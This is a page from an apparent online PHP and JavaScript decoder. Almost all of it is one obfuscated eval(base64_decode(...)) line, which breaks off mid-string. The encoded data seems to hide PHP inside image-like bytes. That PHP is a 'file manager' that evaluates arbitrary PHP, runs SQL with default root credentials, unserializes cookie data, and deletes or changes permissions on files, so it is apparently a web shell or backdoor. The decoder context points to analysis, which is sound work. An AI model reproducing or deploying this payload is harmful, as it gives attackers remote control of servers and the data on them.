Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(base64_decode('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ZVsxXSArICRzdGFydHRpbWVbMF07DQokbGFuZ3MgPSBhcnJheSgnZW4nLCdydScsJ2RlJywnZnInLCd1aycpOw0KJHBhdGggPSBlbXB0eSgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkcGF0aCA9IHJlYWxwYXRoKCcuJykgOiByZWFscGF0aCgkX1JFUVVFU1RbJ3BhdGgnXSk7DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpIC4gJy8nOw0KJG1haW5fcGF0aD1zdHJfcmVwbGFjZSgnXFwnLCAnLycscmVhbHBhdGgoJy4vJykpOw0KJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3RydWU6ZmFsc2U7DQokbXNnX250aW1lcyA9ICcnOyAvLyBzZXJ2aWNlIHN0cmluZw0KJGRlZmF1bHRfbGFuZ3VhZ2UgPSAnZGUnOw0KJGRldGVjdF9sYW5nID0gdHJ1ZTsNCiRmbV92ZXJzaW9uID0gMS42Ow0KDQoNCg0KLy8gTGl0dGxlIGRlZmF1bHQgY29uZmlnDQokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoDQoJJ21ha2VfZGlyZWN0b3J5JyA9PiB0cnVlLCANCgknbmV3X2ZpbGUnID0+IHRydWUsIA0KCSd1cGxvYWRfZmlsZScgPT4gdHJ1ZSwgDQoJJ3Nob3dfZGlyX3NpemUnID0+IGZhbHNlLCAvL2lmIHRydWUsIHNob3cgZGlyZWN0b3J5IHNpemUg4oaSIG1heWJlIHNsb3cgDQoJJ3Nob3dfaW1nJyA9PiB0cnVlLCANCgknc2hvd19waHBfdmVyJyA9PiB0cnVlLCANCgknc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgLy8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaQ0KCSdzaG93X2d0JyA9PiB0cnVlLCAvLyBzaG93IGdlbmVyYXRpb24gdGltZQ0KCSdlbmFibGVfcGhwX2NvbnNvbGUnID0+IHRydWUsDQoJJ2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSwNCgknc3FsX3NlcnZlcicgPT4gJ2xvY2FsaG9zdCcsDQoJJ3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLA0KCSdzcWxfcGFzc3dvcmQnID0+ICcnLA0KCSdzcWxfZGInID0+ICd0ZXN0X2Jhc2UnLA0KCSdlbmFibGVfcHJveHknID0+IHRydWUsDQoJJ3Nob3dfcGhwaW5mbycgPT4gdHJ1ZSwNCgknc2hvd194bHMnID0+IHRydWUsDQoJJ2ZtX3NldHRpbmdzJyA9PiB0cnVlLA0KCSdyZXN0b3JlX3RpbWUnID0+IHRydWUsDQoJJ2ZtX3Jlc3RvcmVfdGltZScgPT4gZmFsc2UsDQopOw0KDQppZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZzsNCmVsc2UgJGZtX2NvbmZpZyA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWydmbV9jb25maWcnXSk7DQoNCi8vIENoYW5nZSBsYW5ndWFnZQ0KaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyANCglzZXRjb29raWUoJ2ZtX2xhbmcnLCAkX1BPU1RbJ2ZtX2xhbmcnXSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOw0KfQ0KJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7DQoNCi8vIERldGVjdCBicm93c2VyIGxhbmd1YWdlDQppZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7DQoJJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOw0KCWlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsNCgkJZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsNCgkJCSRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTsNCgkJCSRsbmcgPSAkbG5nWzBdOw0KCQkJaWYoaW5fYXJyYXkoJGxuZywkbGFuZ3MpKXsNCgkJCQkkbGFuZ3VhZ2UgPSAkbG5nOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJfQ0KfSANCg0KLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXINCiRsYW5ndWFnZSA9IChlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSkgPyAkbGFuZ3VhZ2UgOiAkX0NPT0tJRVsnZm1fbGFuZyddOw0KDQoNCi8vdHJhbnNsYXRpb24NCmZ1bmN0aW9uIF9fKCR0ZXh0KXsNCglnbG9iYWwgJGxhbmc7DQoJaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07DQoJZWxzZSByZXR1cm4gJHRleHQ7DQp9Ow0KDQovL2RlbGV0ZSBmaWxlcyBhbmQgZGlycyByZWN1cnNpdmVseQ0KZnVuY3Rpb24gZm1fZGVsX2ZpbGVzKCRmaWxlLCAkcmVjdXJzaXZlID0gZmFsc2UpIHsNCglpZigkcmVjdXJzaXZlICYmIEBpc19kaXIoJGZpbGUpKSB7DQoJCSRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSwgJycsICcnLCB0cnVlKTsNCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsNCgkJCWlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpew0KCQkJCWZtX2RlbF9maWxlcygkZmlsZSAuICcvJyAuICRlbCwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgl9DQoJaWYoQGlzX2RpcigkZmlsZSkpIHsNCgkJcmV0dXJuIHJtZGlyKCRmaWxlKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gQHVubGluaygkZmlsZSk7DQoJfQ0KfQ0KDQovL2ZpbGUgcGVybXMNCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXsNCgkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCSRpbmZvID0gJyc7DQoJaWYoISRpZil7DQoJCWlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCgkJCS8vU29ja2V0DQoJCQkkaW5mbyA9ICdzJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgew0KCQkJLy9TeW1ib2xpYyBMaW5rDQoJCQkkaW5mbyA9ICdsJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KCQkJLy9SZWd1bGFyDQoJCQkkaW5mbyA9ICctJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KCQkJLy9CbG9jayBzcGVjaWFsDQoJCQkkaW5mbyA9ICdiJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCQkJLy9EaXJlY3RvcnkNCgkJCSRpbmZvID0gJ2QnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoJCQkvL0NoYXJhY3RlciBzcGVjaWFsDQoJCQkkaW5mbyA9ICdjJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KCQkJLy9GSUZPIHBpcGUNCgkJCSRpbmZvID0gJ3AnOw0KCQl9IGVsc2Ugew0KCQkJLy9Vbmtub3duDQoJCQkkaW5mbyA9ICd1JzsNCgkJfQ0KCX0NCiAgDQoJLy9Pd25lcg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiANCgkvL0dyb3VwDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KIA0KCS8vV29ybGQNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCglyZXR1cm4gJGluZm87DQp9DQoNCmZ1bmN0aW9uIGZtX2NvbnZlcnRfcmlnaHRzKCRtb2RlKSB7DQoJJG1vZGUgPSBzdHJfcGFkKCRtb2RlLDksJy0nKTsNCgkkdHJhbnMgPSBhcnJheSgnLSc9PicwJywncic9Pic0Jywndyc9PicyJywneCc9PicxJyk7DQoJJG1vZGUgPSBzdHJ0cigkbW9kZSwkdHJhbnMpOw0KCSRuZXdtb2RlID0gJzAnOw0KCSRvd25lciA9IChpbnQpICRtb2RlWzBdICsgKGludCkgJG1vZGVbMV0gKyAoaW50KSAkbW9kZVsyXTsgDQoJJGdyb3VwID0gKGludCkgJG1vZGVbM10gKyAoaW50KSAkbW9kZVs0XSArIChpbnQpICRtb2RlWzVdOyANCgkkd29ybGQgPSAoaW50KSAkbW9kZVs2XSArIChpbnQpICRtb2RlWzddICsgKGludCkgJG1vZGVbOF07IA0KCSRuZXdtb2RlIC49ICRvd25lciAuICRncm91cCAuICR3b3JsZDsNCglyZXR1cm4gaW50dmFsKCRuZXdtb2RlLCA4KTsNCn0NCg0KZnVuY3Rpb24gZm1fY2htb2QoJGZpbGUsICR2YWwsICRyZWMgPSBmYWxzZSkgew0KCSRyZXMgPSBAY2htb2QocmVhbHBhdGgoJGZpbGUpLCAkdmFsKTsNCglpZihAaXNfZGlyKCRmaWxlKSAmJiAkcmVjKXsNCgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTsNCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsNCgkJCSRyZXMgPSAkcmVzICYmIGZtX2NobW9kKCRmaWxlIC4gJy8nIC4gJGVsLCAkdmFsLCB0cnVlKTsNCgkJfQ0KCX0NCglyZXR1cm4gJHJlczsNCn0NCg0KLy9sb2FkIGZpbGVzDQpmdW5jdGlvbiBmbV9kb3dubG9hZCgkZmlsZV9uYW1lKSB7DQogICAgaWYgKCFlbXB0eSgkZmlsZV9uYW1lKSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuIGJhc2VuYW1lKCRmaWxlX25hbWUpKTsgICANCgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWwiKTsNCgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJyIik7DQoJCQl3aGlsZSAoIWZlb2YoJGZwKSkgew0KCQkJCWVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQoJCQkJZmx1c2goKTsgLy8gdGhpcyBpcyBlc3NlbnRpYWwgZm9yIGxhcmdlIGRvd25sb2Fkcw0KCQkJfSANCgkJCWZjbG9zZSgkZnApOw0KCQkJZGllKCk7DQoJCX0gZWxzZSB7DQoJCQloZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlLCA0MDQpOw0KCQkJaGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsgDQoJCQlkaWUoKTsNCiAgICAgICAgfQ0KICAgIH0gDQp9DQoNCi8vc2hvdyBmb2xkZXIgc2l6ZQ0KZnVuY3Rpb24gZm1fZGlyX3NpemUoJGYsJGZvcm1hdD10cnVlKSB7DQoJaWYoJGZvcm1hdCkgIHsNCgkJJHNpemU9Zm1fZGlyX3NpemUoJGYsZmFsc2UpOw0KCQlpZigkc2l6ZTw9MTAyNCkgcmV0dXJuICRzaXplLicgYnl0ZXMnOw0KCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KSwyKS4nJm5ic3A7S2InOw0KCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCksMikuJyZuYnNwO01iJzsNCgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7R2InOw0KCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7VGInOyAvLzopKSkNCgkJZWxzZSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1BiJzsgLy8gOy0pDQoJfSBlbHNlIHsNCgkJaWYoaXNfZmlsZSgkZikpIHJldHVybiBmaWxlc2l6ZSgkZik7DQoJCSRzaXplPTA7DQoJCSRkaD1vcGVuZGlyKCRmKTsNCgkJd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgew0KCQkJaWYoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgY29udGludWU7DQoJCQlpZihpc19maWxlKCRmLicvJy4kZmlsZSkpICRzaXplKz1maWxlc2l6ZSgkZi4nLycuJGZpbGUpOw0KCQkJZWxzZSAkc2l6ZSs9Zm1fZGlyX3NpemUoJGYuJy8nLiRmaWxlLGZhbHNlKTsNCgkJfQ0KCQljbG9zZWRpcigkZGgpOw0KCQlyZXR1cm4gJHNpemUrZmlsZXNpemUoJGYpOyANCgl9DQp9DQoNCi8vc2NhbiBkaXJlY3RvcnkNCmZ1bmN0aW9uIGZtX3NjYW5fZGlyKCRkaXJlY3RvcnksICRleHAgPSAnJywgJHR5cGUgPSAnYWxsJywgJGRvX25vdF9maWx0ZXIgPSBmYWxzZSkgew0KCSRkaXIgPSAkbmRpciA9IGFycmF5KCk7DQoJaWYoIWVtcHR5KCRleHApKXsNCgkJJGV4cCA9ICcvXicgLiBzdHJfcmVwbGFjZSgnKicsICcoLiopJywgc3RyX3JlcGxhY2UoJy4nLCAnXFwuJywgJGV4cCkpIC4gJyQvJzsNCgl9DQoJaWYoIWVtcHR5KCR0eXBlKSAmJiAkdHlwZSAhPT0gJ2FsbCcpew0KCQkkZnVuYyA9ICdpc18nIC4gJHR5cGU7DQoJfQ0KCWlmKEBpc19kaXIoJGRpcmVjdG9yeSkpew0KCQkkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOw0KCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7DQoJCQlpZihzdWJzdHIoJGZpbGVuYW1lLCAwLCAxKSAhPSAnLicgfHwgJGRvX25vdF9maWx0ZXIpIHsNCgkJCQlpZigoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICdhbGwnIHx8ICRmdW5jKCRkaXJlY3RvcnkgLiAnLycgLiAkZmlsZW5hbWUpKSAmJiAoZW1wdHkoJGV4cCkgfHwgcHJlZ19tYXRjaCgkZXhwLCAkZmlsZW5hbWUpKSl7DQoJCQkJCSRkaXJbXSA9ICRmaWxlbmFtZTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGZoKTsNCgkJbmF0c29ydCgkZGlyKTsNCgl9DQoJcmV0dXJuICRkaXI7DQp9DQoNCmZ1bmN0aW9uIGZtX2xpbmsoJGdldCwkbGluaywkbmFtZSwkdGl0bGU9JycpIHsNCglpZiAoZW1wdHkoJHRpdGxlKSkgJHRpdGxlPSRuYW1lLicgJy5iYXNlbmFtZSgkbGluayk7DQoJcmV0dXJuICcmbmJzcDsmbmJzcDs8YSBocmVmPSI/Jy4kZ2V0Lic9Jy5iYXNlNjRfZW5jb2RlKCRsaW5rKS4nIiB0aXRsZT0iJy4kdGl0bGUuJyI+Jy4kbmFtZS4nPC9hPic7DQp9DQoNCmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXsNCglmb3JlYWNoKCRhcnIgYXMgJHYpew0KCQkkYj0kdlskbl07DQoJCSRyZXMuPSc8b3B0aW9uIHZhbHVlPSInLiRiLiciICcuKCRzZWwgJiYgJHNlbD09JGI/J3NlbGVjdGVkJzonJykuJz4nLiRiLic8L29wdGlvbj4nOw0KCX0NCglyZXR1cm4gJHJlczsNCn0NCg0KZnVuY3Rpb24gZm1fbGFuZ19mb3JtICgkY3VycmVudD0nZW4nKXsNCnJldHVybiAnDQo8Zm9ybSBuYW1lPSJjaGFuZ2VfbGFuZyIgbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQoJPHNlbGVjdCBuYW1lPSJmbV9sYW5nIiB0aXRsZT0iJy5fXygnTGFuZ3VhZ2UnKS4nIiBvbmNoYW5nZT0iZG9jdW1lbnQuZm9ybXNbXCdjaGFuZ2VfbGFuZ1wnXS5zdWJtaXQoKSIgPg0KCQk8b3B0aW9uIHZhbHVlPSJlbiIgJy4oJGN1cnJlbnQ9PSdlbic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdFbmdsaXNoJykuJzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJkZSIgJy4oJGN1cnJlbnQ9PSdkZSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdHZXJtYW4nKS4nPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9InJ1IiAnLigkY3VycmVudD09J3J1Jz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ1J1c3NpYW4nKS4nPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9ImZyIiAnLigkY3VycmVudD09J2ZyJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0ZyZW5jaCcpLic8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0idWsiICcuKCRjdXJyZW50PT0ndWsnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnVWtyYWluaWFuJykuJzwvb3B0aW9uPg0KCTwvc2VsZWN0Pg0KPC9mb3JtPg0KJzsNCn0NCgkNCmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpew0KCXJldHVybiAoJGRpcm5hbWU9PScuJyBPUiAkZGlybmFtZT09Jy4uJyk7DQp9DQoNCmZ1bmN0aW9uIGZtX3BocCgkc3RyaW5nKXsNCgkkZGlzcGxheV9lcnJvcnM9aW5pX2dldCgnZGlzcGxheV9lcnJvcnMnKTsNCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcxJyk7DQoJb2Jfc3RhcnQoKTsNCglldmFsKHRyaW0oJHN0cmluZykpOw0KCSR0ZXh0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQoJb2JfZW5kX2NsZWFuKCk7DQoJaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAkZGlzcGxheV9lcnJvcnMpOw0KCXJldHVybiAkdGV4dDsNCn0NCg0KLy9TSE9XIERBVEFCQVNFUw0KZnVuY3Rpb24gZm1fc3FsX2Nvbm5lY3QoKXsNCglnbG9iYWwgJGZtX2NvbmZpZzsNCglyZXR1cm4gbmV3IG15c3FsaSgkZm1fY29uZmlnWydzcWxfc2VydmVyJ10sICRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXSwgJGZtX2NvbmZpZ1snc3FsX2RiJ10pOw0KfQ0KDQpmdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXsNCglnbG9iYWwgJGZtX2NvbmZpZzsNCgkkcXVlcnk9dHJpbSgkcXVlcnkpOw0KCW9iX3N0YXJ0KCk7DQoJJGNvbm5lY3Rpb24gPSBmbV9zcWxfY29ubmVjdCgpOw0KCWlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgew0KCQlvYl9lbmRfY2xlYW4oKTsJDQoJCXJldHVybiAkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcjsNCgl9DQoJJGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7DQogICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTsNCglpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkgew0KCQlvYl9lbmRfY2xlYW4oKTsJDQoJCXJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pOw0KICAgIH0gZWxzZSB7DQoJCWlmKCFlbXB0eSgkcXVlcmllZCkpew0KCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hc3NvYygkcXVlcmllZCkpIHsNCgkJCQkkcXVlcnlfcmVzdWx0W109ICAkcm93Ow0KCQkJfQ0KCQl9DQoJCSR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQs